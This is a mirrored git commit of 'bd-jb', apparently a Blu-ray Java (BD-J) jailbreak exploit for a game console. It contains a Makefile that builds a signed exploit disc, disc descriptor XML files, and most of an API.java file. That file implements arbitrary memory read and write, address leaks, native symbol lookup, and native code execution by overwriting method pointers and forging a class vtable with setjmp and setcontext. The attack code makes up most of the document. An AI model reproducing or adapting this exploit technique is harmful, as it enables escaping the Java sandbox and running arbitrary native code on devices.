mirror of
https://github.com/TheOfficialFloW/bd-jb
synced 2024-11-21 16:35:05 -05:00
Initial commit.
This commit is contained in:
commit
8f0a5539e8
8
.gitignore
vendored
Normal file
8
.gitignore
vendored
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
.idea/
|
||||||
|
tools/
|
||||||
|
lib/
|
||||||
|
disc/CERTIFICATE/id.bdmv
|
||||||
|
disc/BDMV/index.bdmv
|
||||||
|
disc/BDMV/MovieObject.bdmv
|
||||||
|
disc/BDMV/JAR/00000.jar
|
||||||
|
disc/BDMV/BDJO/00000.bdjo
|
21
LICENSE
Normal file
21
LICENSE
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (C) 2021 Andy Nguyen
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
34
Makefile
Normal file
34
Makefile
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
SRC = \
|
||||||
|
com/bdjb/ExploitXlet.java \
|
||||||
|
com/bdjb/Exploit.java \
|
||||||
|
com/bdjb/ExploitInterface.java \
|
||||||
|
com/bdjb/ExploitUserPrefsImpl.java \
|
||||||
|
com/bdjb/ExploitServiceProxyImpl.java \
|
||||||
|
com/bdjb/IxcProxyImpl.java \
|
||||||
|
com/bdjb/ServiceInterface.java \
|
||||||
|
com/bdjb/ServiceImpl.java \
|
||||||
|
com/bdjb/ProviderAccessorImpl.java \
|
||||||
|
com/bdjb/PayloadClassLoader.java \
|
||||||
|
com/bdjb/Payload.java \
|
||||||
|
com/bdjb/UnsafeInterface.java \
|
||||||
|
com/bdjb/UnsafeJdkImpl.java \
|
||||||
|
com/bdjb/UnsafeSunImpl.java \
|
||||||
|
com/bdjb/API.java \
|
||||||
|
com/bdjb/JIT.java \
|
||||||
|
com/bdjb/Screen.java \
|
||||||
|
|
||||||
|
all:
|
||||||
|
javac com/bdjb/PayloadClassLoaderSerializer.java && java com/bdjb/PayloadClassLoaderSerializer
|
||||||
|
javac -source 1.4 -target 1.4 -bootclasspath "lib/rt.jar:lib/bdjstack.jar:lib/fakejdk.jar" $(SRC)
|
||||||
|
jar cf disc/BDMV/JAR/00000.jar com/bdjb/*.class com/bdjb/*.ser com/bdjb/bluray.ExploitXlet.perm
|
||||||
|
java -cp "tools/security.jar:tools/bcprov-jdk15-137.jar:tools/tools.jar" net.java.bd.tools.security.BDSigner disc/BDMV/JAR/00000.jar
|
||||||
|
java -jar tools/bdjo.jar bdmv/bdjo.xml disc/BDMV/BDJO/00000.bdjo
|
||||||
|
java -jar tools/MovieObject.jar bdmv/MovieObject.xml disc/BDMV/MovieObject.bdmv
|
||||||
|
java -jar tools/index.jar bdmv/index.xml disc/BDMV/index.bdmv
|
||||||
|
java -jar tools/id.jar bdmv/id.xml disc/CERTIFICATE/id.bdmv
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf *.class
|
||||||
|
rm -rf com/bdjb/*.class
|
||||||
|
rm -rf com/bdjb/*.ser
|
||||||
|
rm -rf META-INF
|
7
README.md
Normal file
7
README.md
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
# bd-jb
|
||||||
|
|
||||||
|
The first bd-j hack.
|
||||||
|
|
||||||
|
# Credits
|
||||||
|
|
||||||
|
- bd-j tools from https://github.com/zathras/java.net
|
29
bdmv/MovieObject.xml
Normal file
29
bdmv/MovieObject.xml
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<movieObjectFile>
|
||||||
|
<version>0200</version>
|
||||||
|
<movieObjects>
|
||||||
|
<movieObject mobjId="0">
|
||||||
|
<navigationCommands commandId="0">
|
||||||
|
<command>21810000 00000001 00000000</command>
|
||||||
|
</navigationCommands>
|
||||||
|
<terminalInfo>
|
||||||
|
<menuCallMask>false</menuCallMask>
|
||||||
|
<resumeIntentionFlag>false</resumeIntentionFlag>
|
||||||
|
<titleSearchMask>false</titleSearchMask>
|
||||||
|
</terminalInfo>
|
||||||
|
</movieObject>
|
||||||
|
<movieObject mobjId="1">
|
||||||
|
<navigationCommands commandId="0">
|
||||||
|
<command>21810000 00000001 00000000</command>
|
||||||
|
</navigationCommands>
|
||||||
|
<terminalInfo>
|
||||||
|
<menuCallMask>false</menuCallMask>
|
||||||
|
<resumeIntentionFlag>false</resumeIntentionFlag>
|
||||||
|
<titleSearchMask>false</titleSearchMask>
|
||||||
|
</terminalInfo>
|
||||||
|
</movieObject>
|
||||||
|
</movieObjects>
|
||||||
|
<extensionData/>
|
||||||
|
<paddingsN1>0</paddingsN1>
|
||||||
|
<paddingsN2>0</paddingsN2>
|
||||||
|
</movieObjectFile>
|
47
bdmv/bdjo.xml
Normal file
47
bdmv/bdjo.xml
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<bdjo>
|
||||||
|
<appCacheInfo>
|
||||||
|
<entries>
|
||||||
|
<language>*.*</language>
|
||||||
|
<name>00000</name>
|
||||||
|
<type>1</type>
|
||||||
|
</entries>
|
||||||
|
</appCacheInfo>
|
||||||
|
<applicationManagementTable>
|
||||||
|
<applications>
|
||||||
|
<applicationDescriptor>
|
||||||
|
<baseDirectory>00000</baseDirectory>
|
||||||
|
<binding>TITLE_BOUND_DISC_BOUND</binding>
|
||||||
|
<classpathExtension></classpathExtension>
|
||||||
|
<iconFlags>0x0</iconFlags>
|
||||||
|
<iconLocator></iconLocator>
|
||||||
|
<initialClassName>com.bdjb.ExploitXlet</initialClassName>
|
||||||
|
<priority>128</priority>
|
||||||
|
<profiles>
|
||||||
|
<majorVersion>1</majorVersion>
|
||||||
|
<microVersion>0</microVersion>
|
||||||
|
<minorVersion>0</minorVersion>
|
||||||
|
<profile>1</profile>
|
||||||
|
</profiles>
|
||||||
|
<visibility>V_01</visibility>
|
||||||
|
</applicationDescriptor>
|
||||||
|
<applicationId>0x4000</applicationId>
|
||||||
|
<controlCode>0x1</controlCode>
|
||||||
|
<organizationId>0x56789abc</organizationId>
|
||||||
|
<type>0x1</type>
|
||||||
|
</applications>
|
||||||
|
</applicationManagementTable>
|
||||||
|
<fileAccessInfo>.</fileAccessInfo>
|
||||||
|
<keyInterestTable>0x0</keyInterestTable>
|
||||||
|
<tableOfAccessiblePlayLists>
|
||||||
|
<accessToAllFlag>false</accessToAllFlag>
|
||||||
|
<autostartFirstPlayListFlag>false</autostartFirstPlayListFlag>
|
||||||
|
</tableOfAccessiblePlayLists>
|
||||||
|
<terminalInfo>
|
||||||
|
<defaultFontFile>00000</defaultFontFile>
|
||||||
|
<initialHaviConfig>HD_1920_1080</initialHaviConfig>
|
||||||
|
<menuCallMask>false</menuCallMask>
|
||||||
|
<titleSearchMask>false</titleSearchMask>
|
||||||
|
</terminalInfo>
|
||||||
|
<version>V_0200</version>
|
||||||
|
</bdjo>
|
6
bdmv/id.xml
Normal file
6
bdmv/id.xml
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<id>
|
||||||
|
<discId>0x00000000000000000000000000000001</discId>
|
||||||
|
<orgId>0x56789abc</orgId>
|
||||||
|
<version>0200</version>
|
||||||
|
</id>
|
32
bdmv/index.xml
Normal file
32
bdmv/index.xml
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<index>
|
||||||
|
<appInfo/>
|
||||||
|
<extensionData/>
|
||||||
|
<indexes>
|
||||||
|
<firstPlayback>
|
||||||
|
<firstPlaybackObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
|
||||||
|
<HDMVName>0x0</HDMVName>
|
||||||
|
<playbackType>HDMVPlayback_MOVIE</playbackType>
|
||||||
|
</firstPlaybackObject>
|
||||||
|
</firstPlayback>
|
||||||
|
<topMenu>
|
||||||
|
<topMenuObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
|
||||||
|
<HDMVName>0x1</HDMVName>
|
||||||
|
<playbackType>HDMVPlayback_INTERACTIVE</playbackType>
|
||||||
|
</topMenuObject>
|
||||||
|
</topMenu>
|
||||||
|
<titles>
|
||||||
|
<title>
|
||||||
|
<indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject">
|
||||||
|
<BDJOName>00000</BDJOName>
|
||||||
|
<playbackType>BDJPlayback_MOVIE</playbackType>
|
||||||
|
</indexObject>
|
||||||
|
<titleAccessType>V_00</titleAccessType>
|
||||||
|
</title>
|
||||||
|
</titles>
|
||||||
|
</indexes>
|
||||||
|
<paddingN1>0</paddingN1>
|
||||||
|
<paddingN2>0</paddingN2>
|
||||||
|
<paddingN3>0</paddingN3>
|
||||||
|
<version>0200</version>
|
||||||
|
</index>
|
569
com/bdjb/API.java
Normal file
569
com/bdjb/API.java
Normal file
@ -0,0 +1,569 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
/** API class to access native data and execute native code. */
|
||||||
|
final class API {
|
||||||
|
static final int INT8_SIZE = 1;
|
||||||
|
static final int INT16_SIZE = 2;
|
||||||
|
static final int INT32_SIZE = 4;
|
||||||
|
static final int INT64_SIZE = 8;
|
||||||
|
|
||||||
|
static final long RTLD_DEFAULT = -2;
|
||||||
|
|
||||||
|
static final long LIBC_MODULE_HANDLE = 0x2;
|
||||||
|
static final long LIBKERNEL_MODULE_HANDLE = 0x2001;
|
||||||
|
static final long LIBJAVA_MODULE_HANDLE = 0x4A;
|
||||||
|
|
||||||
|
private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING =
|
||||||
|
"Unsupported dlopen() operation";
|
||||||
|
|
||||||
|
private static final String SETJMP_SYMBOL = "setjmp";
|
||||||
|
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
|
||||||
|
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
|
||||||
|
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
|
||||||
|
"Java_java_lang_reflect_Array_multiNewArray";
|
||||||
|
|
||||||
|
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
|
||||||
|
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J";
|
||||||
|
|
||||||
|
private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary";
|
||||||
|
private static final String FIND_ENTRY_METHOD_NAME = "findEntry";
|
||||||
|
private static final String FIND_METHOD_NAME = "find";
|
||||||
|
private static final String HANDLE_FIELD_NAME = "handle";
|
||||||
|
|
||||||
|
private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1};
|
||||||
|
|
||||||
|
private static final String VALUE_FIELD_NAME = "value";
|
||||||
|
|
||||||
|
private static final Long LONG_VALUE = new Long(1337);
|
||||||
|
|
||||||
|
private static API instance;
|
||||||
|
|
||||||
|
private UnsafeInterface unsafe;
|
||||||
|
|
||||||
|
private long longValueOffset;
|
||||||
|
|
||||||
|
private Object nativeLibrary;
|
||||||
|
private Method findMethod;
|
||||||
|
private Field handleField;
|
||||||
|
|
||||||
|
private long executableHandle;
|
||||||
|
|
||||||
|
private long Java_java_lang_reflect_Array_multiNewArray;
|
||||||
|
private long JVM_NativePath;
|
||||||
|
private long __Ux86_64_setcontext;
|
||||||
|
private long setjmp;
|
||||||
|
|
||||||
|
private boolean jdk11;
|
||||||
|
|
||||||
|
private API() throws Exception {
|
||||||
|
this.init();
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized API getInstance() throws Exception {
|
||||||
|
if (instance == null) {
|
||||||
|
instance = new API();
|
||||||
|
}
|
||||||
|
return instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
private native long multiNewArray(Class componentType, int[] dimensions);
|
||||||
|
|
||||||
|
private void init() throws Exception {
|
||||||
|
initUnsafe();
|
||||||
|
initDlsym();
|
||||||
|
initSymbols();
|
||||||
|
initApiCall();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void initUnsafe() throws Exception {
|
||||||
|
try {
|
||||||
|
unsafe = new UnsafeSunImpl();
|
||||||
|
jdk11 = false;
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
unsafe = new UnsafeJdkImpl();
|
||||||
|
jdk11 = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
longValueOffset = unsafe.objectFieldOffset(Long.class.getDeclaredField(VALUE_FIELD_NAME));
|
||||||
|
}
|
||||||
|
|
||||||
|
private void initDlsym() throws Exception {
|
||||||
|
Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME);
|
||||||
|
|
||||||
|
if (jdk11) {
|
||||||
|
findMethod =
|
||||||
|
nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class});
|
||||||
|
} else {
|
||||||
|
findMethod =
|
||||||
|
nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class});
|
||||||
|
}
|
||||||
|
|
||||||
|
handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME);
|
||||||
|
findMethod.setAccessible(true);
|
||||||
|
handleField.setAccessible(true);
|
||||||
|
|
||||||
|
Constructor nativeLibraryConstructor =
|
||||||
|
nativeLibraryClass.getDeclaredConstructor(
|
||||||
|
new Class[] {Class.class, String.class, boolean.class});
|
||||||
|
nativeLibraryConstructor.setAccessible(true);
|
||||||
|
|
||||||
|
nativeLibrary =
|
||||||
|
nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)});
|
||||||
|
}
|
||||||
|
|
||||||
|
private void initSymbols() {
|
||||||
|
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
|
||||||
|
if (JVM_NativePath == 0) {
|
||||||
|
throw new IllegalArgumentException("JVM_NativePath symbol could not be found.");
|
||||||
|
}
|
||||||
|
|
||||||
|
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
|
||||||
|
|
||||||
|
if (__Ux86_64_setcontext == 0) {
|
||||||
|
// In earlier versions, there's a bug where only the main executable's handle is used.
|
||||||
|
executableHandle = JVM_NativePath & ~(4 - 1);
|
||||||
|
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) {
|
||||||
|
executableHandle += 4;
|
||||||
|
}
|
||||||
|
executableHandle -= 4;
|
||||||
|
|
||||||
|
// Try again.
|
||||||
|
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (__Ux86_64_setcontext == 0) {
|
||||||
|
throw new IllegalArgumentException("__Ux86_64_setcontext symbol could not be found.");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (jdk11) {
|
||||||
|
Java_java_lang_reflect_Array_multiNewArray =
|
||||||
|
dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
|
||||||
|
} else {
|
||||||
|
Java_java_lang_reflect_Array_multiNewArray =
|
||||||
|
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
|
||||||
|
}
|
||||||
|
if (Java_java_lang_reflect_Array_multiNewArray == 0) {
|
||||||
|
throw new IllegalArgumentException(
|
||||||
|
"Java_java_lang_reflect_Array_multiNewArray symbol could not be found.");
|
||||||
|
}
|
||||||
|
|
||||||
|
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
|
||||||
|
if (setjmp == 0) {
|
||||||
|
throw new IllegalArgumentException("setjmp symbol could not be found.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void initApiCall() {
|
||||||
|
long apiInstance = addrof(this);
|
||||||
|
long apiKlass = read64(apiInstance + 0x08);
|
||||||
|
|
||||||
|
if (jdk11) {
|
||||||
|
long methods = read64(apiKlass + 0x170);
|
||||||
|
int numMethods = read32(methods + 0x00);
|
||||||
|
|
||||||
|
for (int i = 0; i < numMethods; i++) {
|
||||||
|
long method = read64(methods + 0x08 + i * 8);
|
||||||
|
long constMethod = read64(method + 0x08);
|
||||||
|
long constants = read64(constMethod + 0x08);
|
||||||
|
short nameIndex = read16(constMethod + 0x2A);
|
||||||
|
short signatureIndex = read16(constMethod + 0x2C);
|
||||||
|
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
|
||||||
|
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
|
||||||
|
short nameLength = read16(nameSymbol + 0x00);
|
||||||
|
short signatureLength = read16(signatureSymbol + 0x00);
|
||||||
|
|
||||||
|
String name = readString(nameSymbol + 0x06, nameLength);
|
||||||
|
String signature = readString(signatureSymbol + 0x06, signatureLength);
|
||||||
|
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
|
||||||
|
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
|
||||||
|
write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
long methods = read64(apiKlass + 0xC8);
|
||||||
|
int numMethods = read32(methods + 0x10);
|
||||||
|
|
||||||
|
for (int i = 0; i < numMethods; i++) {
|
||||||
|
long method = read64(methods + 0x18 + i * 8);
|
||||||
|
long constMethod = read64(method + 0x10);
|
||||||
|
long constants = read64(method + 0x18);
|
||||||
|
short nameIndex = read16(constMethod + 0x42);
|
||||||
|
short signatureIndex = read16(constMethod + 0x44);
|
||||||
|
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
|
||||||
|
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
|
||||||
|
short nameLength = read16(nameSymbol + 0x08);
|
||||||
|
short signatureLength = read16(signatureSymbol + 0x08);
|
||||||
|
|
||||||
|
String name = readString(nameSymbol + 0x0A, nameLength);
|
||||||
|
String signature = readString(signatureSymbol + 0x0A, signatureLength);
|
||||||
|
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
|
||||||
|
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
|
||||||
|
write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new IllegalArgumentException("Native method could not be installed.");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void buildContext(
|
||||||
|
long contextData,
|
||||||
|
long setJmpData,
|
||||||
|
long rip,
|
||||||
|
long rdi,
|
||||||
|
long rsi,
|
||||||
|
long rdx,
|
||||||
|
long rcx,
|
||||||
|
long r8,
|
||||||
|
long r9) {
|
||||||
|
long rbx = read64(setJmpData + 0x08);
|
||||||
|
long rsp = read64(setJmpData + 0x10);
|
||||||
|
long rbp = read64(setJmpData + 0x18);
|
||||||
|
long r12 = read64(setJmpData + 0x20);
|
||||||
|
long r13 = read64(setJmpData + 0x28);
|
||||||
|
long r14 = read64(setJmpData + 0x30);
|
||||||
|
long r15 = read64(setJmpData + 0x38);
|
||||||
|
|
||||||
|
write64(contextData + 0x48, rdi);
|
||||||
|
write64(contextData + 0x50, rsi);
|
||||||
|
write64(contextData + 0x58, rdx);
|
||||||
|
write64(contextData + 0x60, rcx);
|
||||||
|
write64(contextData + 0x68, r8);
|
||||||
|
write64(contextData + 0x70, r9);
|
||||||
|
write64(contextData + 0x80, rbx);
|
||||||
|
write64(contextData + 0x88, rbp);
|
||||||
|
write64(contextData + 0xA0, r12);
|
||||||
|
write64(contextData + 0xA8, r13);
|
||||||
|
write64(contextData + 0xB0, r14);
|
||||||
|
write64(contextData + 0xB8, r15);
|
||||||
|
write64(contextData + 0xE0, rip);
|
||||||
|
write64(contextData + 0xF8, rsp);
|
||||||
|
|
||||||
|
write64(contextData + 0x110, 0x41414141);
|
||||||
|
write64(contextData + 0x118, 0x41414141);
|
||||||
|
}
|
||||||
|
|
||||||
|
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
|
||||||
|
long fakeCallKlass = malloc(0x400);
|
||||||
|
memset(fakeCallKlass, 0, 0x400);
|
||||||
|
|
||||||
|
long fakeCallKlassVtable = malloc(0x400);
|
||||||
|
for (int i = 0; i < 0x400; i += 8) {
|
||||||
|
write64(fakeCallKlassVtable + i, JVM_NativePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
long ret = 0;
|
||||||
|
|
||||||
|
if (jdk11) {
|
||||||
|
long callClass = addrof(Call.class);
|
||||||
|
long callKlass = read64(callClass + 0x98);
|
||||||
|
|
||||||
|
write64(fakeCallKlassVtable + 0x158, setjmp);
|
||||||
|
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
|
||||||
|
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
|
||||||
|
write64(callClass + 0x98, fakeCallKlass);
|
||||||
|
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||||
|
|
||||||
|
buildContext(
|
||||||
|
fakeCallKlass + 0x00, fakeCallKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
|
||||||
|
|
||||||
|
write64(fakeCallKlassVtable + 0x158, __Ux86_64_setcontext);
|
||||||
|
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
|
||||||
|
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
|
||||||
|
write64(callClass + 0x98, fakeCallKlass);
|
||||||
|
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||||
|
|
||||||
|
write64(callClass + 0x98, callKlass);
|
||||||
|
} else {
|
||||||
|
long callClass = addrof(Call.class);
|
||||||
|
long callKlass = read64(callClass + 0x68);
|
||||||
|
|
||||||
|
write64(fakeCallKlassVtable + 0x230, setjmp);
|
||||||
|
write64(fakeCallKlass + 0x10, fakeCallKlassVtable);
|
||||||
|
write64(fakeCallKlass + 0x20, fakeCallKlassVtable);
|
||||||
|
write64(callClass + 0x68, fakeCallKlass);
|
||||||
|
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||||
|
|
||||||
|
buildContext(
|
||||||
|
fakeCallKlass + 0x20, fakeCallKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
|
||||||
|
|
||||||
|
write64(fakeCallKlassVtable + 0x230, __Ux86_64_setcontext);
|
||||||
|
write64(fakeCallKlass + 0x10, fakeCallKlassVtable);
|
||||||
|
write64(fakeCallKlass + 0x20, fakeCallKlassVtable);
|
||||||
|
write64(callClass + 0x68, fakeCallKlass);
|
||||||
|
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||||
|
|
||||||
|
write64(callClass + 0x68, callKlass);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(fakeCallKlassVtable);
|
||||||
|
free(fakeCallKlass);
|
||||||
|
|
||||||
|
if (ret == 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return read64(ret);
|
||||||
|
}
|
||||||
|
|
||||||
|
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
|
||||||
|
return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
long call(long func, long arg0, long arg1, long arg2, long arg3) {
|
||||||
|
return call(func, arg0, arg1, arg2, arg3, (long) 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
long call(long func, long arg0, long arg1, long arg2) {
|
||||||
|
return call(func, arg0, arg1, arg2, (long) 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
long call(long func, long arg0, long arg1) {
|
||||||
|
return call(func, arg0, arg1, (long) 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
long call(long func, long arg0) {
|
||||||
|
return call(func, arg0, (long) 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
long call(long func) {
|
||||||
|
return call(func, (long) 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
long dlsym(long handle, String symbol) {
|
||||||
|
int oldHandle = (int) RTLD_DEFAULT;
|
||||||
|
try {
|
||||||
|
if (executableHandle != 0) {
|
||||||
|
// In earlier versions, there's a bug where only the main executable's handle is used.
|
||||||
|
oldHandle = read32(executableHandle);
|
||||||
|
write32(executableHandle, (int) handle);
|
||||||
|
handleField.setLong(nativeLibrary, RTLD_DEFAULT);
|
||||||
|
} else {
|
||||||
|
handleField.setLong(nativeLibrary, handle);
|
||||||
|
}
|
||||||
|
return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue();
|
||||||
|
} catch (Exception e) {
|
||||||
|
return 0;
|
||||||
|
} finally {
|
||||||
|
if (executableHandle != 0) {
|
||||||
|
write32(executableHandle, oldHandle);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
long addrof(Object obj) {
|
||||||
|
try {
|
||||||
|
unsafe.putObject(LONG_VALUE, longValueOffset, obj);
|
||||||
|
return unsafe.getLong(LONG_VALUE, longValueOffset);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
byte read8(long addr) {
|
||||||
|
return unsafe.getByte(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
short read16(long addr) {
|
||||||
|
return unsafe.getShort(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
int read32(long addr) {
|
||||||
|
return unsafe.getInt(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
long read64(long addr) {
|
||||||
|
return unsafe.getLong(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
void write8(long addr, byte val) {
|
||||||
|
unsafe.putByte(addr, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
void write16(long addr, short val) {
|
||||||
|
unsafe.putShort(addr, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
void write32(long addr, int val) {
|
||||||
|
unsafe.putInt(addr, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
void write64(long addr, long val) {
|
||||||
|
unsafe.putLong(addr, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
long malloc(long size) {
|
||||||
|
return unsafe.allocateMemory(size);
|
||||||
|
}
|
||||||
|
|
||||||
|
long realloc(long ptr, long size) {
|
||||||
|
return unsafe.reallocateMemory(ptr, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
void free(long ptr) {
|
||||||
|
unsafe.freeMemory(ptr);
|
||||||
|
}
|
||||||
|
|
||||||
|
long memcpy(long dest, long src, long n) {
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
write8(dest + i, read8(src + i));
|
||||||
|
}
|
||||||
|
return dest;
|
||||||
|
}
|
||||||
|
|
||||||
|
long memcpy(long dest, byte[] src, long n) {
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
write8(dest + i, src[i]);
|
||||||
|
}
|
||||||
|
return dest;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] memcpy(byte[] dest, long src, long n) {
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
dest[i] = read8(src + i);
|
||||||
|
}
|
||||||
|
return dest;
|
||||||
|
}
|
||||||
|
|
||||||
|
long memset(long s, int c, long n) {
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
write8(s + i, (byte) c);
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] memset(byte[] s, int c, long n) {
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
s[i] = (byte) c;
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
